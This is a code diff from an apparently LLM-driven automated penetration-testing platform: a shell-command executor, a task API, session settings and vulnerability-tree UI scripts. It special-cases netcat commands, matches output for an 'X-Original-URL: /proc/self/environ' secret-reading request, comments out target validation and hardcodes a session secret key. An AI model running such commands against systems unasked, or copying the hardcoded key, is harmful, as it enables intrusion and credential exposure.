timeout = 0 timeout = 60*5
if " nc " in instruction:
timeout = 60
return instruction,timeout return instruction,timeout
def do_worker_pexpect(self, str_instruction, timeout, ext_params):
try:
result = ""
exc_do = pexpect.spawn('bash', ['-c', str_instruction], timeout=timeout,
encoding='utf-8') # spawn 第一个参数是可执行文件
index = exc_do.expect([
pexpect.TIMEOUT,
pexpect.EOF
])
result += str(exc_do.before)
if index == 0:
result += f"\n执行超时{timeout}"
elif index == 1:
pass
else:
print("遇到其他输出!")
pass
return result
except Exception as e:
return f"执行错误: {str(e)}"
def execute_instruction(self, instruction_old):
ext_params = self.create_extparams()
# 第一步:验证指令合法性
instruction,time_out = self.validate_instruction(instruction_old)
if not instruction:
return False, instruction_old, "该指令暂不执行!","",ext_params
# 过滤修改后的指令是否需要判重?同样指令再执行结果一致?待定---#?
# 第二步:执行指令---需要对ftp指令进行区分判断
output = self.do_worker_pexpect(instruction, time_out, ext_params)
# 第三步:分析执行结果
analysis = self.analyze_result(output,instruction,"","")
return True, instruction, analysis,output,ext_params
def analyze_result(self, result,instruction,stderr,stdout): def analyze_result(self, result,instruction,stderr,stdout):
#指令结果分析 #指令结果分析
if "GET / HTTP/1.1" in result and "X-Original-URL: /proc/self/environ" in result: if "GET / HTTP/1.1" in result and "X-Original-URL: /proc/self/environ" in result:

2
tools/ToolBase.py

@ -152,7 +152,7 @@ class ToolBase(abc.ABC):
stderr = "" stderr = ""
try: try:
if timeout == 0: if timeout == 0:
result = subprocess.run(instruction, shell=True, capture_output=True, text=True) result = subprocess.run(instruction, shell=True, capture_output=True, text=True,timeout=60*30)
elif timeout >0: elif timeout >0:
result = subprocess.run(instruction, shell=True, capture_output=True, text=True, timeout=timeout) result = subprocess.run(instruction, shell=True, capture_output=True, text=True, timeout=timeout)
else: else:

27
web/API/task.py

@ -19,27 +19,24 @@ def is_valid_target(test_target: str) -> bool:
@login_required @login_required
async def start_task(): #开始任务 async def start_task(): #开始任务
data = await request.get_json() data = await request.get_json()
test_target = data.get("testTarget") test_target = data.get("testTarget") #调整为多目标
cookie_info = data.get("cookieInfo")
llm_type = data.get("curmodel") # //0-腾讯云,1-DS,2-2233.ai,3-GPT 目前只有1-2,2025-4-4 llm_type = data.get("curmodel") # //0-腾讯云,1-DS,2-2233.ai,3-GPT 目前只有1-2,2025-4-4
work_type = data.get("workType") #0-人工,1-自动 work_type = 0 #data.get("workType") #0-人工,1-自动
if llm_type == 2: if llm_type == 2:
return jsonify({"error": "O3余额不足,请更换模型!"}), 400 return jsonify({"error": "O3余额不足,请更换模型!"}), 400
#新增任务处理 # #新增任务处理
bok,_,_ = g_TM.validate_and_extract(test_target) # bok,_,_ = g_TM.validate_and_extract(test_target)
if not bok: # if not bok:
# 返回错误信息,状态码 400 表示请求错误 # # 返回错误信息,状态码 400 表示请求错误
return jsonify({"error": "测试目标验证失败,请检查输入内容!"}), 400 # return jsonify({"error": "测试目标验证失败,请检查输入内容!"}), 400
#开始任务 #开始任务
try: try:
b_success = g_TaskM.create_task(test_target,cookie_info,llm_type,work_type) fail_list = g_TaskM.create_task(test_target,llm_type,work_type)
#再启动 return jsonify({"fail_list":fail_list})
if not b_success:
return jsonify({"error": "检测任务创建失败,请联系管理员!"}), 500
except: except:
return jsonify({"error": "该目标已经在测试中,请检查"}), 400 return jsonify({"error": "创建任务异常,前反馈给技术人员!"}), 400
#跳转到任务管理页面 #跳转到任务管理页面
return redirect(url_for('main.get_html', html='task_manager.html')) # return redirect(url_for('main.get_html', html='task_manager.html'))
@api.route('/task/taskover',methods=['POST']) @api.route('/task/taskover',methods=['POST'])
@login_required @login_required
@ -61,7 +58,6 @@ async def del_task():
bsuccess,error = g_TaskM.del_task(task_id) bsuccess,error = g_TaskM.del_task(task_id)
return jsonify({"bsuccess": bsuccess, "error": error}) return jsonify({"bsuccess": bsuccess, "error": error})
@api.route('/task/getlist',methods=['GET']) @api.route('/task/getlist',methods=['GET'])
@login_required @login_required
async def get_task_list(): async def get_task_list():
@ -160,6 +156,7 @@ async def node_one_step():
@api.route('/task/taskworktype',methods=['POST']) @api.route('/task/taskworktype',methods=['POST'])
@login_required @login_required
async def task_work_type_control(): async def task_work_type_control():
return jsonify({'error': '开发阶段不允许修改测试模式'}), 400
data = await request.get_json() data = await request.get_json()
task_id = data.get("cur_task_id") task_id = data.get("cur_task_id")
newwork_type = data.get("mode") newwork_type = data.get("mode")

10
web/API/wsm.py

@ -1,19 +1,13 @@
import json import json
import socket
from . import api from . import api
from quart import Quart, websocket, jsonify from quart import Quart, websocket, jsonify
from mycode.WebSocketManager import g_WSM from mycode.WebSocketManager import g_WSM
from web.common.utils import login_required
from web.common.utils import login_required
# WebSocket 路由,端口默认与 HTTP 同端口,例如 5000(开发时) # WebSocket 路由,端口默认与 HTTP 同端口,例如 5000(开发时)
@api.websocket("/ws") @api.websocket("/ws")
@login_required
async def ws(): async def ws():
"""
WebSocket 连接入口
1. 客户端连接成功后首先应发送登录数据包例如 {"user_id": 1}
2. 后端解析登录数据包 user_id websocket 绑定注册
3. 后续进入消息接收循环根据数据协议TFTF++体格式处理数据
"""
# 接收登录数据包(假设为纯 JSON 包,非二进制格式) # 接收登录数据包(假设为纯 JSON 包,非二进制格式)
login_msg = await websocket.receive() login_msg = await websocket.receive()
try: try:

8
web/__init__.py

@ -5,13 +5,9 @@ from quart_cors import cors
from pymemcache.client import base from pymemcache.client import base
from .main import main from .main import main
from .API import api from .API import api
from quart import redirect, request
from functools import wraps from functools import wraps
from myutils.ConfigManager import myCongif from myutils.ConfigManager import myCongif
# from quart_sqlalchemy import SQLAlchemy
# from flask_migrate import Migrate
#app.config['SECRET_KEY'] = 'mysecret' #密钥 --需要放配置文件
#socketio = SocketIO(app)
# Create the custom backend for quart-session # Create the custom backend for quart-session
class MemcachedSessionInterface: #只是能用,不明所以 class MemcachedSessionInterface: #只是能用,不明所以
@ -35,8 +31,6 @@ def create_app():
app = Quart(__name__) app = Quart(__name__)
app.config['SECRET_KEY'] = 'zfxxkj_2024_!@#' app.config['SECRET_KEY'] = 'zfxxkj_2024_!@#'
app.config["TEMPLATES_AUTO_RELOAD"] = True #动态加载模板文件 app.config["TEMPLATES_AUTO_RELOAD"] = True #动态加载模板文件
#app.config['SESSION_FILE_DIR'] = './sessions' # session保存路径
#app.config['SESSION_MEMCACHED'] = base.Client(('localhost', 11211))
app.config['SESSION_PERMANENT'] = True # 如果设置为True,则关闭浏览器session就失效。 app.config['SESSION_PERMANENT'] = True # 如果设置为True,则关闭浏览器session就失效。
app.config['SESSION_USE_SIGNER'] = False # 是否对发送到浏览器上session的cookie值进行加密 app.config['SESSION_USE_SIGNER'] = False # 是否对发送到浏览器上session的cookie值进行加密
app.config['SESSION_TYPE'] = 'redis' # session类型 app.config['SESSION_TYPE'] = 'redis' # session类型

12
web/common/utils.py

@ -3,7 +3,7 @@ import random
import string import string
import io import io
from functools import wraps from functools import wraps
from quart import session, redirect, url_for, flash,current_app from quart import session, redirect, url_for, flash,current_app,request
def generate_captcha(): def generate_captcha():
characters = string.ascii_uppercase + string.digits characters = string.ascii_uppercase + string.digits
@ -33,6 +33,15 @@ def generate_captcha():
def verify_captcha(user_input, actual_captcha): def verify_captcha(user_input, actual_captcha):
return user_input == actual_captcha return user_input == actual_captcha
def require_https(f):
@wraps(f)
async def decorated_function(*args, **kwargs):
if request.scheme == "http":
https_url = request.url.replace("http://", "https://", 1)
return redirect(https_url, code=301)
return await f(*args, **kwargs)
return decorated_function
def login_required(f): def login_required(f):
@wraps(f) @wraps(f)
@ -42,6 +51,7 @@ def login_required(f):
if not username or not token: if not username or not token:
await flash('未登录,请重新登录', 'error') await flash('未登录,请重新登录', 'error')
return redirect(url_for('main.login')) return redirect(url_for('main.login'))
#从redis取最新的token #从redis取最新的token
redis_key = f"user_token:{username}" redis_key = f"user_token:{username}"
server_token = await current_app.redis.get(redis_key) server_token = await current_app.redis.get(redis_key)

147
web/main/static/resources/scripts/task_modal.js → web/main/static/resources/scripts/his_task_modal.js

@ -11,10 +11,11 @@
* "node_bwork":node.bwork, * "node_bwork":node.bwork,
* "node_vultype":node.vul_type, * "node_vultype":node.vul_type,
* "node_vulgrade":node.vul_grade, * "node_vulgrade":node.vul_grade,
* "node_vulinfo":node.vul_info
* children: [ { ... }, { ... } ] * children: [ { ... }, { ... } ]
* } * }
*/ */
function generateTreeHTML(nodeData) { function his_generateTreeHTML(nodeData) {
const li = document.createElement("li"); const li = document.createElement("li");
const nodeSpan = document.createElement("span"); const nodeSpan = document.createElement("span");
nodeSpan.className = "tree-node"; nodeSpan.className = "tree-node";
@ -25,6 +26,7 @@
nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork); nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork);
nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype); nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype);
nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || ""); nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || "");
nodeSpan.setAttribute("data-node_vulinfo", nodeData.node_vulinfo);
nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus); nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus);
if(nodeData.node_workstatus ===0){ if(nodeData.node_workstatus ===0){
nodeSpan.classList.add("no-work"); nodeSpan.classList.add("no-work");
@ -63,7 +65,7 @@
if (nodeData.children && nodeData.children.length > 0) { if (nodeData.children && nodeData.children.length > 0) {
const ul = document.createElement("ul"); const ul = document.createElement("ul");
nodeData.children.forEach((child) => { nodeData.children.forEach((child) => {
ul.appendChild(generateTreeHTML(child)); ul.appendChild(his_generateTreeHTML(child));
}); });
li.appendChild(ul); li.appendChild(ul);
} }
@ -89,6 +91,7 @@
const nodebwork = el.getAttribute("data-node_bwork"); const nodebwork = el.getAttribute("data-node_bwork");
const vulType = el.getAttribute("data-node_vultype"); const vulType = el.getAttribute("data-node_vultype");
const vulLevel = el.getAttribute("data-node_vulgrade"); const vulLevel = el.getAttribute("data-node_vulgrade");
const vulInfo = el.getAttribute("data-node_vulinfo");
const workstatus = el.getAttribute("data-node_workstatus"); const workstatus = el.getAttribute("data-node_workstatus");
//selectedNodeData = { nodeName, status, vulType, vulLevel,nodepath,nodebwork }; //selectedNodeData = { nodeName, status, vulType, vulLevel,nodepath,nodebwork };
// 示例中默认填充 // 示例中默认填充
@ -99,10 +102,11 @@
node_bwork: nodebwork, node_bwork: nodebwork,
vul_type: vulType, vul_type: vulType,
vul_grade: vulLevel || "-", vul_grade: vulLevel || "-",
vul_info:vulInfo,
workstatus: workstatus workstatus: workstatus
}; };
//刷新界面内容 //刷新界面内容
update_select_node_data_show(nodeName,status,vulType,vulLevel,workstatus,nodebwork) update_select_node_data_show(nodeName,status,vulType,vulLevel,vulInfo,workstatus,nodebwork)
}); });
// 双击事件:展开/收缩子节点区域 // 双击事件:展开/收缩子节点区域
el.addEventListener("dblclick", (event) => { el.addEventListener("dblclick", (event) => {
@ -126,11 +130,11 @@
} }
// 动态加载节点树数据 // 动态加载节点树数据
async function loadNodeTree(task_id) { async function his_loadNodeTree(task_id) {
// 清空选中状态 // 清空选中状态
selectedNodeData = null; selectedNodeData = null;
//刷新界面内容 //刷新界面内容
update_select_node_data_show("-","-","-","-","-",false) update_select_node_data_show("-","-","-","-","-","-",false)
try { try {
const res = await fetch("/api/task/gethistree", { const res = await fetch("/api/task/gethistree", {
method: "POST", method: "POST",
@ -152,7 +156,7 @@
// 创建一个 <ul> 作为树的根容器 // 创建一个 <ul> 作为树的根容器
const ul = document.createElement("ul"); const ul = document.createElement("ul");
ul.className = "tree-root-ul"; ul.className = "tree-root-ul";
ul.appendChild(generateTreeHTML(treeData)); ul.appendChild(his_generateTreeHTML(treeData));
// 替换节点树容器的内容 // 替换节点树容器的内容
const container = document.getElementById("treeContent"); const container = document.getElementById("treeContent");
container.innerHTML = ""; container.innerHTML = "";
@ -210,11 +214,12 @@
} }
//刷新节点的数据显示 //刷新节点的数据显示
function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,workStatus,nodebwork){ function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,vulInfo,workStatus,nodebwork){
document.getElementById("nodeName").textContent = nodeName; document.getElementById("nodeName").textContent = nodeName;
document.getElementById("testStatus").textContent = testStatus; document.getElementById("testStatus").textContent = testStatus;
document.getElementById("node_vulType").textContent = vulType; document.getElementById("node_vulType").textContent = vulType;
document.getElementById("node_vulLevel").textContent = vulLevel; document.getElementById("node_vulLevel").textContent = vulLevel;
document.getElementById("node_vulInfo").textContent = vulInfo;
str_workStatus = getWorkStatus_Str(Number(workStatus)); str_workStatus = getWorkStatus_Str(Number(workStatus));
document.getElementById("node_workstatus").textContent = str_workStatus; document.getElementById("node_workstatus").textContent = str_workStatus;
if(nodebwork==="true"){ if(nodebwork==="true"){
@ -254,6 +259,13 @@
return true; return true;
} }
// 处理 CSV 字段,确保特殊字符正确转义
function escapeCsvField(value) {
if (value == null) return "";
const str = String(value).replace(/"/g, '""').replace(/\n/g, " ");
return `"${str}"`; // 用引号包裹字段
}
//----------------------查看节点--指令modal---------------------------- //----------------------查看节点--指令modal----------------------------
let doneInstrs = []; // 已执行指令的所有数据 let doneInstrs = []; // 已执行指令的所有数据
let todoInstrs = []; // 待执行指令的所有数据 let todoInstrs = []; // 待执行指令的所有数据
@ -442,46 +454,52 @@
} }
}); });
// 导出当前页数据 // 导出数据
document.getElementById("btnExport").addEventListener("click", () => { document.getElementById("btnExport").addEventListener("click", () => {
// 判断当前是哪个 Tab // 判断当前是哪个 Tab
const activeTab = document.querySelector("#instrTab button.nav-link.active"); const activeTab = document.querySelector("#instrTab button.nav-link.active");
if (activeTab.id === "doneInstrTab") { if (activeTab.id === "doneInstrTab") {
exportCurrentPage(doneInstrs, donePage, ["序号", "执行指令", "执行时间", "执行结果"]); exportCurrentPage(doneInstrs, ["序号", "执行指令", "执行时间", "执行结果"]);
} else { } else {
exportCurrentPage(todoInstrs, todoPage, ["序号", "待执行指令"]); exportCurrentPage(todoInstrs, ["序号", "待执行指令"]);
} }
}); });
function exportCurrentPage(dataArr, page, headerArr) { function exportCurrentPage(dataArr, headerArr) {
const startIndex = (page - 1) * pageSize; // Check if in secure context
const endIndex = startIndex + pageSize; if (!window.isSecureContext) {
const pageData = dataArr.slice(startIndex, endIndex); console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 调试:检查 dataArr 内容
//console.log('Exporting dataArr:', dataArr);
// 如果 dataArr 为空,返回提示
if (!dataArr || dataArr.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码 // 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csvContent = "\uFEFF" + headerArr.join(",") + "\n"; let csvContent = "\uFEFF" + headerArr.join(",") + "\n";
pageData.forEach((item, i) => { dataArr.forEach((item, i) => {
const rowIndex = startIndex + i + 1; const rowIndex = i + 1;
if (headerArr.length === 4) { if (headerArr.length === 4) {
// 已执行:序号,执行指令,执行时间,执行结果 // 已执行:序号,执行指令,执行时间,执行结果
csvContent += rowIndex + "," + csvContent +=
(item.command || "") + "," + [
(item.execTime || "") + "," + rowIndex,
(item.result || "") + "\n"; escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[2] || ""),
].join(",") + "\n";
} else { } else {
// 待执行:序号,待执行指令 // 待执行:序号,待执行指令
csvContent += rowIndex + "," + (item.command || "") + "\n"; csvContent +=
[rowIndex, escapeCsvField(item.cmd || "")].join(",") + "\n";
} }
}); });
// 如果不足 pageSize 行,补足空行(根据列数进行适当补全)
for (let i = pageData.length; i < pageSize; i++) {
// 根据 headerArr.length 来设置空行的格式
if (headerArr.length === 4) {
csvContent += ",,,\n";
} else {
csvContent += ",\n";
}
}
const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" }); const blob = new Blob([csvContent], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob); const url = URL.createObjectURL(blob);
@ -520,6 +538,10 @@ function renderTableRows(tbody, rowsData) {
} }
} }
//指令和漏洞数据的导出按钮点击事件
document.getElementById("instrExportBtn").addEventListener("click",()=>ExportInstructions());
document.getElementById("vulExportBtn").addEventListener("click",()=>ExportVuls());
//--------------------------测试指令------------------------------- //--------------------------测试指令-------------------------------
let allInstrs = []; let allInstrs = [];
let currentInstrPage = 1; let currentInstrPage = 1;
@ -568,7 +590,37 @@ async function searchInstructions(page = 1) {
//导出测试指令数据 //导出测试指令数据
async function ExportInstructions(){ async function ExportInstructions(){
alert("导出指令功能实现中。。。") // Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 如果 dataArr 为空,返回提示
if (!allInstrs || allInstrs.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csv = "\uFEFF" + "序号,节点路径,执行指令,执行结果\n"; // 添加 BOM 防乱码
allInstrs.forEach((item, i) => {
csv +=
[
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[3] || ""),
escapeCsvField(item[4] || ""),
].join(",") + "\n";
});
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "执行指令.csv";
link.click();
URL.revokeObjectURL(url);
} }
// 绑定测试指令查询按钮事件 // 绑定测试指令查询按钮事件
@ -635,7 +687,38 @@ async function searchVulnerabilities(page = 1) {
//导出漏洞数据 //导出漏洞数据
async function ExportVuls(){ async function ExportVuls(){
alert("导出漏洞功能实现中。。。") // Check if in secure context
if (!window.isSecureContext) {
console.error("Page is not in a secure context. Please load the page over HTTPS.");
alert("无法导出文件:请使用 HTTPS 访问页面。");
return;
}
// 如果 dataArr 为空,返回提示
if (!allVuls || allVuls.length === 0) {
alert("没有数据可导出");
return;
}
// 在 CSV 的开头加上 BOM,用于 Excel 识别 UTF-8 编码
let csv = "\uFEFF" + "序号,节点路径,漏洞类型,漏洞级别,漏洞说明\n"; // 添加 BOM 防乱码
allVuls.forEach((item, i) => {
csv +=
[
escapeCsvField(item[0] || ""),
escapeCsvField(item[1] || ""),
escapeCsvField(item[2] || ""),
escapeCsvField(item[3] || ""),
escapeCsvField(item[4] || ""),
].join(",") + "\n";
});
const blob = new Blob([csv], { type: "text/csv;charset=utf-8;" });
const url = URL.createObjectURL(blob);
const link = document.createElement("a");
link.href = url;
link.download = "漏洞数据.csv";
link.click();
URL.revokeObjectURL(url);
} }
// 绑定漏洞数据查询按钮事件 // 绑定漏洞数据查询按钮事件

2
web/main/static/resources/scripts/my_web_socket.js

@ -61,7 +61,7 @@ function initWebSocket() {
// 清空选中状态 // 清空选中状态
selectedNodeData = null; selectedNodeData = null;
//刷新界面内容 //刷新界面内容
update_select_node_data_show("-","-","-","-","-",false) update_select_node_data_show("-","-","-","-","-","-",false)
// 重新加载节点树数据 // 重新加载节点树数据
loadNodeTree(cur_task_id); loadNodeTree(cur_task_id);
} }

301
web/main/static/resources/scripts/node_tree.js

@ -1,19 +1,50 @@
// 全局变量,用于保存当前选中的节点数据 // 全局变量,用于保存当前选中的节点数据
let selectedNodeData = null; let selectedNodeData = null;
/** // 动态加载节点树数据
* 根据节点数据递归生成树形结构返回 <li> 元素 async function loadNodeTree(task_id) {
* 假设节点数据格式 // 清空选中状态
* { selectedNodeData = null;
* "node_name":node.name, //刷新界面内容
* "node_path":node.path, update_select_node_data_show("-","-","-","-","-","-",false)
* "node_status":node.status,
* "node_bwork":node.bwork, try {
* "node_vultype":node.vul_type, const res = await fetch("/api/task/gettree", {
* "node_vulgrade":node.vul_grade, method: "POST",
* children: [ { ... }, { ... } ] headers: { "Content-Type": "application/json" },
* } body: JSON.stringify({ task_id }), //task_id:task_id
*/ });
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
const treeData = data.tree;
if (!treeData) {
document.getElementById("treeContent").innerHTML =
"<p>无节点数据</p>";
return;
}
// 创建一个 <ul> 作为树的根容器
const ul = document.createElement("ul");
ul.className = "tree-root-ul";
ul.appendChild(generateTreeHTML(treeData)); //递归创建节点树
// 替换节点树容器的内容
const container = document.getElementById("treeContent");
container.innerHTML = "";
container.appendChild(ul);
// 绑定节点点击事件
bindTreeNodeEvents();
} catch (error) {
console.error("加载节点树失败:", error);
document.getElementById("treeContent").innerHTML = "<p>加载节点树失败</p>";
}
}
function generateTreeHTML(nodeData) { function generateTreeHTML(nodeData) {
const li = document.createElement("li"); const li = document.createElement("li");
const nodeSpan = document.createElement("span"); const nodeSpan = document.createElement("span");
@ -25,7 +56,9 @@
nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork); nodeSpan.setAttribute("data-node_bwork", nodeData.node_bwork);
nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype); nodeSpan.setAttribute("data-node_vultype", nodeData.node_vultype);
nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || ""); nodeSpan.setAttribute("data-node_vulgrade", nodeData.node_vulgrade || "");
nodeSpan.setAttribute("data-node_vulinfo",nodeData.node_vulinfo);
nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus); nodeSpan.setAttribute("data-node_workstatus",nodeData.node_workstatus);
//显示界面
if(nodeData.node_workstatus ===0){ if(nodeData.node_workstatus ===0){
nodeSpan.classList.add("no-work"); nodeSpan.classList.add("no-work");
}else { }else {
@ -41,9 +74,11 @@
nodeSpan.classList.add("vul-high"); nodeSpan.classList.add("vul-high");
} }
} }
//暂停状态样式 //暂停状态样式
nodeSpan.classList.toggle('status-paused', nodeData.node_bwork === false); nodeSpan.classList.toggle('status-paused', nodeData.node_bwork === false);
nodeSpan.classList.toggle('status-running', nodeData.node_bwork === true); nodeSpan.classList.toggle('status-running', nodeData.node_bwork === true);
// 创建容器用于存放切换图标与文本 // 创建容器用于存放切换图标与文本
const container = document.createElement("div"); const container = document.createElement("div");
container.className = "node-container"; container.className = "node-container";
@ -65,7 +100,7 @@
if (nodeData.children && nodeData.children.length > 0) { if (nodeData.children && nodeData.children.length > 0) {
const ul = document.createElement("ul"); const ul = document.createElement("ul");
nodeData.children.forEach((child) => { nodeData.children.forEach((child) => {
ul.appendChild(generateTreeHTML(child)); ul.appendChild(generateTreeHTML(child)); //递归调用
}); });
li.appendChild(ul); li.appendChild(ul);
} }
@ -79,8 +114,7 @@
// 阻止事件冒泡,避免点击时展开折叠影响 // 阻止事件冒泡,避免点击时展开折叠影响
event.stopPropagation(); event.stopPropagation();
// 清除之前选中的节点样式 // 清除之前选中的节点样式
document document.querySelectorAll(".tree-node.selected")
.querySelectorAll(".tree-node.selected")
.forEach((node) => node.classList.remove("selected")); .forEach((node) => node.classList.remove("selected"));
// 当前节点标记为选中 // 当前节点标记为选中
el.classList.add("selected"); el.classList.add("selected");
@ -91,9 +125,9 @@
const nodebwork = el.getAttribute("data-node_bwork"); const nodebwork = el.getAttribute("data-node_bwork");
const vulType = el.getAttribute("data-node_vultype"); const vulType = el.getAttribute("data-node_vultype");
const vulLevel = el.getAttribute("data-node_vulgrade"); const vulLevel = el.getAttribute("data-node_vulgrade");
const vulInfo = el.getAttribute("data-node_vulinfo");
const workstatus = el.getAttribute("data-node_workstatus"); const workstatus = el.getAttribute("data-node_workstatus");
//selectedNodeData = { nodeName, status, vulType, vulLevel,nodepath,nodebwork }; //缓存一个选中节点的数据
// 示例中默认填充
selectedNodeData = { selectedNodeData = {
node_name: nodeName, node_name: nodeName,
node_path: nodepath, node_path: nodepath,
@ -101,11 +135,13 @@
node_bwork: nodebwork, node_bwork: nodebwork,
vul_type: vulType, vul_type: vulType,
vul_grade: vulLevel || "-", vul_grade: vulLevel || "-",
vul_info:vulInfo,
workstatus: workstatus workstatus: workstatus
}; };
//刷新界面内容 //刷新节点界面内容
update_select_node_data_show(nodeName,status,vulType,vulLevel,workstatus,nodebwork) update_select_node_data_show(nodeName,status,vulType,vulLevel,vulInfo,workstatus,nodebwork)
}); });
// 双击事件:展开/收缩子节点区域 // 双击事件:展开/收缩子节点区域
el.addEventListener("dblclick", (event) => { el.addEventListener("dblclick", (event) => {
event.stopPropagation(); event.stopPropagation();
@ -127,102 +163,13 @@
}); });
} }
// 动态加载节点树数据
async function loadNodeTree(task_id) {
// 清空选中状态
selectedNodeData = null;
//刷新界面内容
update_select_node_data_show("-","-","-","-","-",false)
try {
const res = await fetch("/api/task/gettree", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ task_id }), //task_id:task_id
});
if (!res.ok) {
const errorData = await res.json();
throw new Error(errorData.error || `HTTP错误 ${res.status}`);
}
const data = await res.json();
const treeData = data.tree;
if (!treeData) {
document.getElementById("treeContent").innerHTML =
"<p>无节点数据</p>";
return;
}
// 创建一个 <ul> 作为树的根容器
const ul = document.createElement("ul");
ul.className = "tree-root-ul";
ul.appendChild(generateTreeHTML(treeData));
// 替换节点树容器的内容
const container = document.getElementById("treeContent");
container.innerHTML = "";
container.appendChild(ul);
// 绑定节点点击事件
bindTreeNodeEvents();
} catch (error) {
console.error("加载节点树失败:", error);
document.getElementById("treeContent").innerHTML = "<p>加载节点树失败</p>";
}
}
function getWorkStatus_Str(workstatus){
strworkstatus = ""
switch (workstatus){
case 0:
strworkstatus = "无待执行任务";
break;
case 1:
strworkstatus = "待执行指令中";
break;
case 2:
strworkstatus = "指令执行中";
break;
case 3:
strworkstatus = "待提交llm中";
break;
case 4:
strworkstatus = "提交llm中";
break;
default:
strworkstatus = "-"
}
return strworkstatus
}
//根据web端过来的数据,更新节点的工作状态
function updateTreeNode(node_path, node_workstatus) {
// 根据 node_path 查找对应节点(假设每个 .tree-node 上设置了 data-node_path 属性)
const nodeEl = document.querySelector(`.tree-node[data-node_path="${node_path}"]`);
if (nodeEl) {
// 更新 DOM 属性(属性值均为字符串)
nodeEl.setAttribute("data-node_workstatus", node_workstatus);
//判断是否需要更新界面
if(selectedNodeData){
if(node_path === selectedNodeData.node_path){ //只有是当前选中节点才更新数据
selectedNodeData.workstatus = node_workstatus;
strnew = getWorkStatus_Str(node_workstatus);
work_status_el = document.getElementById("node_workstatus")
work_status_el.textContent = strnew;
work_status_el.classList.toggle('cmd-none',str_workStatus==="无待执行任务");
work_status_el.classList.toggle('cmd-pending',str_workStatus==="待执行指令中");
work_status_el.classList.toggle('cmd-running',str_workStatus==="指令执行中");
work_status_el.classList.toggle('cmd-waiting-llm',str_workStatus==="待提交llm中");
work_status_el.classList.toggle('cmd-submitting-llm',str_workStatus==="提交llm中");
}
}
} else {
console.warn(`未找到节点 ${node_path}`);
}
}
//刷新节点的数据显示 //刷新节点的数据显示
function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,workStatus,nodebwork){ function update_select_node_data_show(nodeName,testStatus,vulType,vulLevel,vulInfo,workStatus,nodebwork){
document.getElementById("nodeName").textContent = nodeName; document.getElementById("nodeName").textContent = nodeName;
document.getElementById("testStatus").textContent = testStatus; document.getElementById("testStatus").textContent = testStatus;
document.getElementById("node_vulType").textContent = vulType; document.getElementById("node_vulType").textContent = vulType;
document.getElementById("node_vulLevel").textContent = vulLevel; document.getElementById("node_vulLevel").textContent = vulLevel;
document.getElementById("node_vulInfo").textContent = vulInfo;
str_workStatus = getWorkStatus_Str(Number(workStatus)); str_workStatus = getWorkStatus_Str(Number(workStatus));
work_status_el = document.getElementById("node_workstatus") work_status_el = document.getElementById("node_workstatus")
@ -289,6 +236,58 @@
} }
} }
function getWorkStatus_Str(workstatus){
strworkstatus = ""
switch (workstatus){
case 0:
strworkstatus = "无待执行任务";
break;
case 1:
strworkstatus = "待执行指令中";
break;
case 2:
strworkstatus = "指令执行中";
break;
case 3:
strworkstatus = "待提交llm中";
break;
case 4:
strworkstatus = "提交llm中";
break;
default:
strworkstatus = "-"
}
return strworkstatus
}
//根据web端过来的数据,更新节点的工作状态
function updateTreeNode(node_path, node_workstatus) {
// 根据 node_path 查找对应节点(假设每个 .tree-node 上设置了 data-node_path 属性)
const nodeEl = document.querySelector(`.tree-node[data-node_path="${node_path}"]`);
if (nodeEl) {
// 更新 DOM 属性(属性值均为字符串)
nodeEl.setAttribute("data-node_workstatus", node_workstatus);
//判断是否需要更新界面
if(selectedNodeData){
if(node_path === selectedNodeData.node_path){ //只有是当前选中节点才更新数据
selectedNodeData.workstatus = node_workstatus;
strnew = getWorkStatus_Str(node_workstatus);
work_status_el = document.getElementById("node_workstatus")
work_status_el.textContent = strnew;
work_status_el.classList.toggle('cmd-none',str_workStatus==="无待执行任务");
work_status_el.classList.toggle('cmd-pending',str_workStatus==="待执行指令中");
work_status_el.classList.toggle('cmd-running',str_workStatus==="指令执行中");
work_status_el.classList.toggle('cmd-waiting-llm',str_workStatus==="待提交llm中");
work_status_el.classList.toggle('cmd-submitting-llm',str_workStatus==="提交llm中");
}
}
} else {
console.warn(`未找到节点 ${node_path}`);
}
}
// 刷新按钮事件绑定 // 刷新按钮事件绑定
document.getElementById("btnRefresh").addEventListener("click", () => { document.getElementById("btnRefresh").addEventListener("click", () => {
// 重新加载节点树数据 // 重新加载节点树数据
@ -327,8 +326,8 @@
//更新数据 //更新数据
const selectedEl = document.querySelector(".tree-node.selected"); const selectedEl = document.querySelector(".tree-node.selected");
if (selectedEl) { if (selectedEl) {
//selectedEl.setAttribute("data-node_bwork", newbwork); selectedEl.setAttribute("data-node_bwork", newbwork);
